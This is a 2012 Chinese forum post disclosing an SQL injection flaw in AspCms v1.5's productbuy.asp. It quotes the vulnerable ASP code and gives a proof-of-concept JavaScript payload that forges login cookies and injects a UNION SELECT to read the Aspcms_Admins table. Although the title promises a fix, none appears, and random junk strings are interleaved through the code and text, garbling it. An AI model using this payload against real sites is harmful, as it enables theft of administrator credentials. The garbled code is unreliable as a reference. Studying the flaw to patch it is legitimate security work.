找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2331|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....) ?4 C( v7 b0 i4 r
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。" u, @+ O+ d4 U8 E! ~0 Y
废话不多说,看代码:
" W3 w9 D) \6 `! u. ~5 d, ?3 u0 q4 a  I! f8 O0 {7 s* T, \
<%
  l" ~- U; }1 o" z! ^2 {+ Y# K  }+ _& H4 L) W7 U7 o
if action = "buy" then
* `4 X/ O- R; t4 T
$ U- O  ?: Q: c        addOrder(); |* m: R9 @5 R, J$ i/ Q

- ]! ~) r  X9 ^% Uelse' H  c5 O% j8 Z7 a4 T0 L; A, k
) f3 H. ^9 H$ w$ D
        echoContent()- J. ]( H* x# j' H( _
- r: r. r  u+ W* C3 \) l* w
end if8 |% B* v/ W$ Z1 [3 h7 B; h

% n, t) W& Z; F
" b& E% ~& L& _# \
0 B1 c$ _* a# _5 K% N……略过
8 f: b2 t4 D6 h# u
) i0 ?, u- a; G
( l: C/ C/ D5 b; ]$ w# A: x& t/ B- A4 W! d8 p
Sub echoContent()
7 I! o8 i; `  Y% ?8 R) O0 c2 M% _4 }5 P' P4 K# I
        dim id
$ x4 p0 ^* c7 _3 O6 a6 N
) u# q- I) F, u$ q, P        id=getForm("id","get")
% `2 z% Q# O( z$ `; {; K3 S& ^
2 u% `, Y! K/ |# E$ I! D        , j" }* [8 O& B7 R/ `5 T: x' a

0 r* l9 q/ \% Z6 Y( z1 s5 d" ]        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 4 j7 g& V* u, F3 Z

6 _3 f" J. ?4 X4 }# ?+ ?) g7 O' G5 E        
# F0 V; a! ]7 K# u7 T# r( l6 m# E
$ C' _) T5 ~! p4 S) e8 v        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
$ L/ e! d7 O( t- V0 Y6 H* l$ T. a) j0 q; A: L9 D
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct! ~, M/ o( B/ h6 d" z

$ P, a% g7 ]# X  L+ I: [% _        Dim templatePath,tempStr
+ N- C; P( J% G& Z) ^/ ?+ u8 ~( y) Y. U, `, ]2 _
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"" ~# B  L6 }( E; j$ p

  m( F7 T1 H' |) y" m( b, k
- ?( T+ z% `; Z0 _* g
& ]: Y9 A0 f) ^& }) O/ _9 n2 i        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")4 V" _* e. x* [

% H  p; ^# }# X/ Z2 @( Y        selectproduct=rsObj(0)
( |! @, W& ]0 b" L+ u, R! ^  G  J8 M1 p0 A9 y4 f$ H
        
: U0 v" z4 I6 [* ]* K
( @0 `# \6 K6 z5 ?        Dim linkman,gender,phone,mobile,email,qq,address,postcode
, j9 |9 ]$ x; s! l$ l! q( Y  Z6 m! n
1 T* T( X6 s5 d) f+ a" l7 h  W        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
$ ?$ ~1 \! K9 e9 f' i  j5 a+ n# {) o. a. Q5 ?
        if rCookie("loginstatus")=1 then  
6 j' M, w- R9 q& g0 i$ I& s9 z- n* M* `- M! }
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! W5 H; a) n5 k6 E5 g9 Q, o2 D
0 [- g7 C! y' B) K2 |, p
                linkman=rsObj("truename")+ ?6 U0 {8 f, \* f

; O) K7 }: K+ `4 R+ a- X                gender=rsObj("gender")5 q; u  K& y$ ^' G

8 f; P3 ~; p: @5 }% K                phone=rsObj("phone")
8 c6 P. G0 |' _) ]' {+ a6 J( _* A) t5 u, I. w
                mobile=rsObj("mobile")
3 F: W" l: i' L+ Y3 d# B% H, W
8 b- _6 D: j5 [3 a2 J& e2 B$ a) ]                email=rsObj("email")7 T$ V  o( S! l4 G4 p
  ^$ _% j9 o( e, }4 }
                qq=rsObj("qq")8 f6 \% ^6 `: r6 [" N

6 l: H% O, v2 L                address=rsObj("address")+ }7 z1 Y2 l1 f7 h& J9 @- Q

0 L9 r( F: V8 n+ {3 o                postcode=rsObj("postcode")
" s- F: i. A2 G% x" l4 s# x) }& v2 W- U! p
        else
8 l; C# F  w& H9 X8 v4 w$ ]1 g% L
" _) ]! I9 e2 W                gender=1' }, l2 n" }3 K

4 G) a6 k( F& A' N6 C        end if% h: P: ^/ j0 i( `( i' B
% w- h7 e+ E7 f
        rsObj.close()1 `& C( W' a( B4 z" m
4 {1 b0 v7 K" `; ?" R
               
+ O& {, A, W' e% [. i7 k3 u9 n- Z( Y  _& [1 Y
        with templateObj + D# c2 n, a* T6 A- o' ]+ ?7 u+ y

0 _1 L* D" P7 F8 ~; U! j                .content=loadFile(templatePath)        
6 h/ K' K& B! ^  U2 f8 j1 h  V6 i. A1 i% a7 X$ i, N6 ]- A
                .parseHtml()
2 d7 h1 K- E0 d* V" l5 {! ^6 W+ y/ O9 i$ Q3 a# w" l
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)5 ]% p6 z2 h+ y
: |6 H! ?  l# A( a8 j* E! ?: n
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
* v; F* E5 Y( u# y
# y8 Q+ k' f# R- f5 `4 Y4 q1 y                .content=replaceStr(.content,"[aspcms:gender]",gender)               
! b+ t% M- Z; S+ i! ^% @' A+ ^& H- j; m" \
                .content=replaceStr(.content,"[aspcms:phone]",phone)                3 v) v" y' {% P1 @# |6 c

7 m& u$ |1 T( C4 u; W0 P- X                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
7 Z& p5 s5 |. T% v+ C$ g+ Y" K( `/ [, X. `8 q: l! o9 @$ v: _7 Q6 C) Q
                .content=replaceStr(.content,"[aspcms:email]",email)                        
1 Q7 P7 j8 B# L2 U
  }9 m5 ^; g3 w& P) H9 y                .content=replaceStr(.content,"[aspcms:qq]",qq)                        # N; r& R3 ~0 C/ F% T& \

+ |! ~  R+ s* j% ^: w- ?! r6 @                .content=replaceStr(.content,"[aspcms:address]",address)                        
( t- O% o: \4 q# K. ~6 G+ O+ E/ H9 d3 R' T3 n* @8 i
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        $ f) y* Q" [" S3 u4 j% e  \

& v* P, _5 V- R                .parseCommon()                 ; U$ r2 d8 C. r" M, ~: Z9 x

" g& g* }( @" `$ E' N/ W* l                echo .content
6 q/ E( Z: R- l; n7 U5 @& R- d" H; J
' A5 o9 |1 J7 U( ~) y. M% ?7 f        end with
  t+ g9 C: W# C1 u' v" d$ W; R/ ]- a+ Y
        set templateobj =nothing : terminateAllObjects7 _, v: `# D/ p0 b5 X

8 Z+ V: \* p$ e2 NEnd Sub0 D& |8 y" ^' t0 B( s% |+ S% b
漏洞很明显,没啥好说的
& E0 B' s& L, v4 U( |poc:+ r: s: x& ]) A: s9 p0 p% `0 D

3 W8 Y# e% f, S. B3 Ojavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​$ H; \. n0 ]7 h, j
( o/ F* K: T; v: V/ r# A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表